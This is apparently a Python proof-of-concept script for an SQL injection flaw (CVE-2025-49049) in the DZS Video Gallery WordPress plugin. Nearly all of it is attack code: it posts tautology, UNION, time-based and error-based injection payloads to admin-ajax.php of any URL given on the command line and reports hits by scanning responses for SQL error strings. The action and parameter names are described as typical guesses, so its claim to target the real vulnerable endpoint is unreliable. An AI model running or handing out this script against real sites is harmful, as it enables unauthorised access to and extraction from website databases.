#!/usr/bin/env python3
"""
CVE-2025-49049 PoC - DZS Video Gallery SQL Injection
Discovered by:
[email protected]
"""
import requests
import sys
def test_sql_injection(url):
"""
Test for SQL injection vulnerability in DZS Video Gallery
"""
# Vulnerable endpoint - typically in ajax actions or shortcodes
target_url = f"{url}/wp-admin/admin-ajax.php"
# SQL injection payloads
payloads = [
"1' OR '1'='1",
"1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -",
"1' AND SLEEP(5)-- -",
"1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)y)-- -",
]
# Common parameter names used by the plugin
params_list = [
{"action": "dzs_get_video", "id": ""},
{"action": "dzs_search", "s": ""},
{"action": "dzs_get_category", "cat": ""},
]
print(f"[*] Testing target: {url}")
print(f"[*] CVE: CVE-2025-49049")
print(f"[*] Vulnerability: SQL Injection in DZS Video Gallery <= 12.39\n")
for params in params_list:
for payload in payloads:
test_params = params.copy()
for key in test_params:
if test_params[key] == "":
test_params[key] = payload
try:
print(f"[+] Testing: {test_params}")
response = requests.post(target_url, data=test_params, timeout=10)
# Check for SQL error indicators
if any(err in response.text for err in ['SQL', 'mysql', 'syntax', 'Warning', 'Notice']):
print(f"[!] Potential SQL injection detected!")
print(f"[+] Payload: {payload}")
print(f"[+] Response length: {len(response.text)}")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
print("\n[*] Basic tests completed. Manual verification recommended.")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 cve-2025-49049.py <target_url>")
print("Example: python3 cve-2025-49049.py http://example.com")
sys.exit(1)
target = sys.argv[1].rstrip('/')
test_sql_injection(target)